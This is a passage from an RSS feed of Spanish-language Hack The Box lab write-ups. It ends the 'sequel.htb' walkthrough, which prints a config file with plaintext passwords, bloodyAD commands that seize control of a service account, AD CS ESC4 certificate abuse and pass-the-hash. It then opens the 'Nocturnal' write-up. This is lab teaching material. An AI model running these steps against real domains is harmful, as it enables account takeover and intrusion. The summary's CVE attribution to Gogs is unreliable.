&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d----- &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;07&lt;/span&gt; PM resources
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d----- &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;07&lt;/span&gt; PM x64
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-a---- &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;03&lt;/span&gt; PM &lt;span style="color:#ae81ff"&gt;45&lt;/span&gt; AUTORUN.INF
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-a---- &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;03&lt;/span&gt; PM &lt;span style="color:#ae81ff"&gt;788&lt;/span&gt; MEDIAINFO.XML
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-a---- &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;07&lt;/span&gt; PM &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt; PackageId.dat
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-a---- &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;03&lt;/span&gt; PM &lt;span style="color:#ae81ff"&gt;142944&lt;/span&gt; SETUP.EXE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-a---- &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;03&lt;/span&gt; PM &lt;span style="color:#ae81ff"&gt;486&lt;/span&gt; SETUP.EXE.CONFIG
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-a---- &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;07&lt;/span&gt; PM &lt;span style="color:#ae81ff"&gt;717&lt;/span&gt; sql-Configuration.INI
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-a---- &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;03&lt;/span&gt; PM &lt;span style="color:#ae81ff"&gt;249448&lt;/span&gt; SQLSETUPBOOTSTRAPPER.DLL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PS C:\SQL2019\ExpressAdv_ENU&amp;gt; type sql-Configuration.INI
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;OPTIONS&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ACTION=&lt;span style="color:#e6db74"&gt;&amp;#34;Install&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;QUIET=&lt;span style="color:#e6db74"&gt;&amp;#34;True&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;FEATURES=SQL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INSTANCENAME=&lt;span style="color:#e6db74"&gt;&amp;#34;SQLEXPRESS&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INSTANCEID=&lt;span style="color:#e6db74"&gt;&amp;#34;SQLEXPRESS&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;RSSVCACCOUNT=&lt;span style="color:#e6db74"&gt;&amp;#34;NT Service\ReportServer&lt;/span&gt;$SQLEXPRESS&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;AGTSVCACCOUNT=&lt;span style="color:#e6db74"&gt;&amp;#34;NT AUTHORITY\NETWORK SERVICE&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;AGTSVCSTARTUPTYPE=&lt;span style="color:#e6db74"&gt;&amp;#34;Manual&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;COMMFABRICPORT=&lt;span style="color:#e6db74"&gt;&amp;#34;0&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;COMMFABRICNETWORKLEVEL=&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;COMMFABRICENCRYPTION=&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;MATRIXCMBRICKCOMMPORT=&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;SQLSVCSTARTUPTYPE=&amp;#34;&lt;/span&gt;Automatic&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;FILESTREAMLEVEL=&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;ENABLERANU=&amp;#34;&lt;/span&gt;False&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;SQLCOLLATION=&amp;#34;&lt;/span&gt;SQL_Latin1_General_CP1_CI_AS&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;SQLSVCACCOUNT=&amp;#34;&lt;/span&gt;SEQUEL\sql_svc&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;SQLSVCPASSWORD=&amp;#34;&lt;/span&gt;WqSZAF6CysDQbGb3&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;SQLSYSADMINACCOUNTS=&amp;#34;&lt;/span&gt;SEQUEL\Administrator&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;SECURITYMODE=&amp;#34;&lt;/span&gt;SQL&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;SAPWD=&amp;#34;&lt;/span&gt;MSSQLP@ssw0rd!&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;ADDCURRENTUSERASSQLADMIN=&amp;#34;&lt;/span&gt;False&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;TCPENABLED=&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;NPENABLED=&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;BROWSERSVCSTARTUPTYPE=&amp;#34;&lt;/span&gt;Automatic&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;IAcceptSQLServerLicenseTerms=True
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;PS C:\SQL2019\ExpressAdv_ENU&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esa contraseña validé credenciales y confirmé acceso como &lt;strong&gt;ryan&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8032-be04-ed2043b3cf3a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Comprobé el usuario &lt;code&gt;ryan&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PS C:\SQL2019\ExpressAdv_ENU&amp;gt; net user ryan
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;User name ryan
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Full Name Ryan Howard
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Comment
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;User&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt;s comment
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Country/region code &lt;span style="color:#ae81ff"&gt;000&lt;/span&gt; (System &lt;span style="color:#66d9ef"&gt;Default&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Account active Yes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Account expires Never
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Password last set &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;55&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;45&lt;/span&gt; AM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Password expires Never
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Password changeable &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;55&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;45&lt;/span&gt; AM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Password required Yes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;User may change password Yes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Workstations allowed All
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Logon script
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;User profile
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Home directory
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Last logon &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; AM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Logon hours allowed All
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Local Group Memberships *Remote Management Use
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Global Group memberships *Management Department*Domain Users
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;The command completed successfully.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como estaba en &lt;strong&gt;Remote Management Use&lt;/strong&gt;, pude usar WinRM:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-802e-b1f4-c2464b85dee8.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="bloodhound-y-ruta-hacia-ad-cs"&gt;BloodHound y ruta hacia AD CS&lt;/h3&gt;
&lt;p&gt;Levanté BloodHound:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/home/kali/bloodhound-cli containers start
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Encontré una posible escalada (ESC1) relacionada con abuso de certificados, ya que podía llegar al grupo &lt;strong&gt;Cert Publishers&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-80d9-b8ce-e662b3a1446a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Para automatizar el proceso de &lt;strong&gt;DACL Abuse&lt;/strong&gt;, utilicé &lt;code&gt;bloodyAD&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;El permiso &lt;code&gt;WriteOwner&lt;/code&gt; me permite cambiar el owner del objeto. Una vez soy owner, ya puedo modificar la DACL y darme permisos (por ejemplo, &lt;code&gt;GenericAll&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Cambiar owner:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bloodyAD -d sequel.htb -u ryan -p &lt;span style="color:#e6db74"&gt;&amp;#39;WqSZAF6CysDQbGb3&amp;#39;&lt;/span&gt; --host DC01.sequel.htb set owner &lt;span style="color:#e6db74"&gt;&amp;#39;CA_SVC&amp;#39;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;RYAN&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Dar &lt;code&gt;GenericAll&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bloodyAD -d sequel.htb -u ryan -p &lt;span style="color:#e6db74"&gt;&amp;#39;WqSZAF6CysDQbGb3&amp;#39;&lt;/span&gt; --host DC01.sequel.htb add genericAll &lt;span style="color:#e6db74"&gt;&amp;#39;CA_SVC&amp;#39;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;RYAN&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Cambiar contraseña (ya con control):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bloodyAD -d sequel.htb -u ryan -p &lt;span style="color:#e6db74"&gt;&amp;#39;WqSZAF6CysDQbGb3&amp;#39;&lt;/span&gt; --host DC01.sequel.htb set password &lt;span style="color:#e6db74"&gt;&amp;#39;CA_SVC&amp;#39;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;NewP@ssword2026!&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Resultado:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8001-ba9b-c0ecab986477.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="ad-cs"&gt;AD-CS&lt;/h2&gt;
&lt;p&gt;Busqué vulnerabilidades en plantillas con &lt;code&gt;certipy-ad&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8007-acf7-fe307387f2a4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-80f7-bc40-eb109a365ac5.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Interpretación: &lt;strong&gt;ESC4&lt;/strong&gt; implica que tengo permisos para &lt;strong&gt;editar&lt;/strong&gt; la plantilla y hacerla vulnerable. Con el comando correspondiente modifiqué la template para que quedase explotable.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8058-855f-c2e0ee081870.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Volví a ejecutar el análisis y ya aparecía como vulnerable:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8047-9874-ed4a5f049c5c.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Después exploté solicitando un certificado suplantando a &lt;strong&gt;Administrator&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-807a-98a5-f5ffb85bb77f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Con eso obtuve el &lt;strong&gt;NT hash&lt;/strong&gt; del Admin:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8021-9c16-db32c8c511b5.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Finalmente, hice &lt;strong&gt;Pass-the-Hash&lt;/strong&gt; para acceder como &lt;code&gt;Administrator&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-80fb-8fee-f45cf8bce0fe.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Nocturnal (Easy)</title><link>https://synacklabs.github.io/posts/nocturnal/</link><pubDate>Sun, 25 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/nocturnal/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;La máquina comienza con un servicio web que permite la subida de archivos. Mediante fuzzing de usuarios, localizo un archivo perteneciente al usuario &lt;code&gt;amanda&lt;/code&gt; que contiene credenciales. Con ellas accedo a un panel de administración vulnerable a &lt;strong&gt;RCE&lt;/strong&gt; (Remote Code Execution) mediante inyección de caracteres especiales (Newlines y Tabs) para evadir filtros. Exfiltro la base de datos, obtengo hashes y logro acceder por SSH como &lt;code&gt;tobias&lt;/code&gt;. Finalmente, escalo privilegios identificando un servicio interno en el puerto 8080 (Gogs), el cual exploto mediante &lt;strong&gt;CVE-2023-46818&lt;/strong&gt; para obtener ejecución de código como root.&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;La máquina comienza con un servicio web que permite la subida de archivos. Mediante fuzzing de usuarios, localizo un archivo perteneciente al usuario &lt;code&gt;amanda&lt;/code&gt; que contiene credenciales. Con ellas accedo a un panel de administración vulnerable a &lt;strong&gt;RCE&lt;/strong&gt; (Remote Code Execution) mediante inyección de caracteres especiales (Newlines y Tabs) para evadir filtros. Exfiltro la base de datos, obtengo hashes y logro acceder por SSH como &lt;code&gt;tobias&lt;/code&gt;. Finalmente, escalo privilegios identificando un servicio interno en el puerto 8080 (Gogs), el cual exploto mediante &lt;strong&gt;CVE-2023-46818&lt;/strong&gt; para obtener ejecución de código como root.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-809e-a5dd-f209e9c537c8.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="escaneo-y-reconocimiento"&gt;Escaneo y Reconocimiento&lt;/h2&gt;
&lt;p&gt;Inicio con un escaneo de puertos para identificar la superficie de ataque.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; nginx &lt;span style="color:#ae81ff"&gt;1.18&lt;/span&gt;.0 (Ubuntu)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Did not follow redirect to http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//nocturnal.htb/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enumeración-web-puerto-80"&gt;Enumeración Web (Puerto 80)&lt;/h3&gt;
&lt;p&gt;El servidor redirige a &lt;code&gt;nocturnal.htb&lt;/code&gt;, por lo que añado el dominio a mi &lt;code&gt;/etc/hosts&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8072-824a-d26bde2a9f9d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Al acceder, encuentro un panel que permite subir archivos. Observo que los archivos subidos se almacenan en el servidor y la estructura de la URL o el endpoint parece depender del nombre de usuario. Esto sugiere una vulnerabilidad de &lt;strong&gt;IDOR&lt;/strong&gt; (Insecure Direct Object Reference) o enumeración de directorios.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8017-9df6-c471221e0fcf.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Realizo fuzzing sobre el campo de usuario para descubrir directorios de otros usuarios. Encuentro que el usuario &lt;code&gt;amanda&lt;/code&gt; tiene archivos almacenados.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8083-ad4c-fb4a6db88ae4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80ef-a4a1-c8e59c0f075e.png" alt="Imagen del post"&gt;&lt;/p&gt;
